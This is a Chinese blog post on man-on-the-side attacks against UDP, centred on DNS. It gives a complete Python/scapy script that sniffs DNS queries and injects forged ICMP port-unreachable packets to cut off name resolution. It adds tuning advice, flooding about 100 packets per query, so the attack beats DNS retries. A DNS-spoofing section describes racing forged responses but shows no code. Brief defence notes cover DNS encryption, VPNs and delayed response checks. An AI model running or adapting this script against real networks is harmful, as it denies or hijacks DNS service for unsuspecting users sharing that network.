MOTS攻击之UDP攻击
作者:飞鸟 发布于:2017-11-15 21:26 Wednesday 分类:网络安全
1. 废话
前段时间写了篇文章介绍MOTS攻击的原理及相关的攻击方式,当时只是了解其原理,没有通过程序具体实现。这段时间找时间学习了Python,抽了几天晚上时间用Python实现了UDP的攻击程序。对于TCP这块的攻击找时间再完善一下相关程序。
对于MOTS攻击方式不了解的同学们可以翻翻我上篇文章,《MOTS攻击技术分析》。底层原理是关键,程序实现只是侧面佐证。
废话不多说,直接奔主题。大家都知道,UDP是没有面向连接的,不可靠的,因此对其攻击主要有两种方式:DOS攻击与UDP欺骗。
2. DOS攻击
2.1 原理
因为UDP是无连接的,同一个连接中的报文与前面或后面的报文都没有直接关系。因此对其DOS攻击不像TCP那样只需要发送一个reset包就可以干掉一个TCP连接那样简单,针对UDP的DOS需要将每个报文都DOS掉,不然应用层的重传还是会使会话与交互的数据保持完整。因此针对UDP的DOS攻击一般情况下都是针对UDP的轻量化应用进行攻击,如DNS这种小量交互的报文,而不是P2P这种大量报文交互的应用。
DNS的交互相对较简单,DNS查询与响应。下图可见DNS的应用非常轻量化,一个DNS查询,一个DNS响应。简洁灵巧,轻量化。
因此对其进行DOS非常简单,只需要监听网络中的DNS流量,有DNS查询时,直接返回一个ICMP
Port unreachable报文即可,表示端口没有开放。若为TCP的应用,其端口没有开放时,一般回应一个reset报文。并且有一点一定要保证,就是ICMP port unreachable报文一定要比正常的DNS 响应报文早到客户端,这样才可以达到DOS的效果。
2.2 实现
要实现对UDP应用的DOS,我们以DNS为例,需要按照以下几步实现:
1、构造ICMP Port
Unreachable报文
2、监听网络中的DNS查询报文
3、监听到DNS查询报文时,回应ICMP port unreachable报文
2.2.1 安装scapy库
实现UDP的DOS攻击是通过安装python的第三方库scapy库来实现的,python本身没有这个库,需要手工安装,具体安装方法大家根据自己的系统与python版本自行安装,本人测试是使用Win10 Pro+Python3.6。python 3.6版本可以通过命令: pip3 install scapy-python3来安装。
2.2.2 构造ICMP Port Unreachable报文
ICMP Port
Unreachable报文的具体格式如下,大家可以根据数据包结构来构造。
具体构造时要安装scapy所支持的格式来构造,scapy库支持的icmp报文结构格式如下:
2.2.3 监听并攻击
攻击程序代码如下,大家可以根据实际情况修改:
#coding:utf-8 ''' date:2017-07-05 author:feiniao Version:1.0 ''' from scapy.all import * import random ''' 1、windows绑定本机网卡,首先使用show_interfaces()查看相关网卡 2、再使用conf.iface=''绑定相应的网卡 3、linux需要在sniff()中指定相应的网卡 ''' conf.iface='Intel(R) Dual Band Wireless-AC 8260' #DNS响应的地址,随机ip字段的id和ttl ipid = random.randint(1,65535) ipttl = random.randint(45,80) def buying(mots): resp = Ether()/IP()/ICMP()/IP()/UDP() #构造ICMP报文 resp[ICMP].type = 3 resp[ICMP].code = 3 resp[ICMP][IP].src = mots[IP].src resp[ICMP][IP].dst = mots[IP].dst resp[ICMP][IP].ttl = ipttl resp[ICMP][IP].id = ipid resp[ICMP][UDP].sport = mots[UDP].sport resp[ICMP][UDP].dport = mots[UDP].dport #构造IP包头 resp[IP].src = mots[IP].dst resp[IP].dst = mots[IP].src resp[IP].ttl = ipttl resp[IP].id = ipid #构造以太网包头 resp[Ether].src = mots[Ether].dst resp[Ether].dst = mots[Ether].src #发送构造的ICMP响应包 sendp(resp,count = 30) if __name__ == '__main__': sniff(prn=buying,filter="udp dst port 53")
找到攻击程序所在的目录,直接输入python
dnsdos.py即可。
在实际测试时,上来就遇到一个坑。
由于DNS使用UDP,而UDP是一种不可靠的协议,其存在丢包的可能,因此DNS为了保证应用的可靠性,一般的DNS查询都是发送多个,当前面一个查询失败时,会继续发送DNS查询报文。个人测试是发送四个DNS查询。测试时,发现第一个DNS查询被DOS了,但是第二个DNS时却被正常响应了。所以导致DNS结果还是正常的。
怎么达到最大程度满足实际需求可以达到对DNS的DOS效果,个人有一个思路:因为DNS四个查询报文的间隔都非常短,因此监听程序可以在收到DNS查询时连续发送多个ICMP port unreachable报文,如100个,这样的话可以很大可能保证每个DNS查询最早收到的都是构造的ICMP port unreachable报文,而不是正常的DNS响应报文,这样的话就可以达到DOD效果,实测效果如下:
2.3 斗争
2.3.1 DNS加密
DNS加密这种方法个人感觉最靠谱!
举个栗子:cisco的opendns解决方案,大家有时间可以实测一下。
https://www.opendns.com/about/innovations/dnscrypt/
2.3.2 代理、VPN
大家各行搜索,不废话。
3. UDP欺骗
3.1 原理
很简单,在监听到客户端发送请求时,发送一个伪造的响应,并且比正常的响应早到,这样即可达到欺骗的效果。实际攻击还是攻击轻量化的应用,流量较大的攻击效果不一定明显,且成本很大。还是以DNS为测试目标吧。DNS污染在运营商里做的比较多,原理很简单:利益。并且其实现起来具有天然优势,可以在关键链路和节点进行分光监听并发送伪造的数据包。
3.2 实现
代码如下,运行很简单,
攻击效果如下,可以看到,伪造的DNS报文都是比正常的响应早到的。
3.3 斗争
3.3.1 DNS加密
参考Cisco的OpenDNS
3.3.2 代理、VPN
翻墙,最好个人购买VPS搭建或者国外商业化的服务和产品,国内提供免费的墙可能有鬼。你懂的!
3.3.3 协议优化
延迟处理,收到DNS的响应包后,系统进程不是立即采取该值,而是延迟一段时间,如20ms,若没有再次收到DNS响应报文,则采取该值;若收到不同的DNS响应报文,则做深度识别,如分析ip id,ttl等来判断数据包的真实性或者二次发送DNS查询报文。具体可以参考上篇文章。不过这些技术太low,攻击时也可以在这些层面做优化与改进。
标签: TCP reset 丢包 重传 DDOS MOTS 劫持 MOTS-UDP UDP欺骗
版权所有:《蚂蚁网-多维人生,三实而立!》 => 《MOTS攻击之UDP攻击》
本文地址:http://www.vants.org/?post=286
除非注明,文章均为 《蚂蚁网-多维人生,三实而立!》 原创,欢迎转载!转载请注明本文地址,谢谢。
日历
最新日志
链接
分类
最新碎语
- 如果一个人想要做一件真正忠于自己内心的事情,那么往往只能一个人独自去做"——理查德·耶茨
2019-06-25 21:34
- 日后我们知道,真正的人生道路是由内心决定的。不论我们的道路看上去如此曲折、如此荒谬地背离我们的愿望,它终归还是把我们引到我们看不见的目的地。(茨威格《昨日世界》)
2019-03-16 21:27
- 如果你渴望得到某样东西,你得让它自由,如果它回到你身边,它就是属于你的,如果它不会回来,你就从未拥有过它。——大仲马《基督山伯爵》
2018-10-09 22:07
- 人生有两大悲剧:一个是没有得到你心爱的东西;另一个是得到了你心爱的东西。人生有两大快乐:一个是没有得到你心爱的东西,于是可以寻求和创造;另一个是得到了你心爱的东西,于是可以去品味和体验。——弗洛伊德
2018-09-25 18:06
- 一个人越有思想,发现有个性的人就越多。普通人是看不出人与人之间的差别的——布莱兹·帕斯卡尔
2018-08-30 18:44
存档
- 2020年11月(2)
- 2018年1月(1)
- 2017年12月(1)
- 2017年11月(6)
- 2017年6月(1)
- 2017年5月(1)
- 2017年4月(1)
- 2017年3月(1)
- 2016年11月(1)
- 2016年4月(1)
- 2015年7月(2)
- 2015年6月(1)
- 2015年5月(5)
- 2014年12月(1)
- 2014年11月(1)
- 2014年10月(1)
- 2014年8月(1)
- 2014年7月(1)
- 2014年6月(1)
- 2014年5月(1)
- 2014年4月(3)
- 2014年2月(2)
- 2014年1月(2)
- 2013年12月(1)
- 2013年11月(1)
- 2013年10月(2)
- 2013年9月(1)
- 2013年8月(1)
- 2013年7月(3)
- 2013年6月(2)
- 2013年5月(1)
- 2013年4月(3)
- 2013年3月(1)
- 2013年2月(2)
- 2013年1月(2)
- 2012年12月(11)
- 2012年11月(12)
- 2012年10月(12)
- 2012年9月(26)
- 2012年8月(29)
- 2012年7月(18)
- 2012年6月(2)
- 2012年5月(25)
- 2012年4月(16)
- 2012年3月(13)
- 2012年2月(6)
发表评论: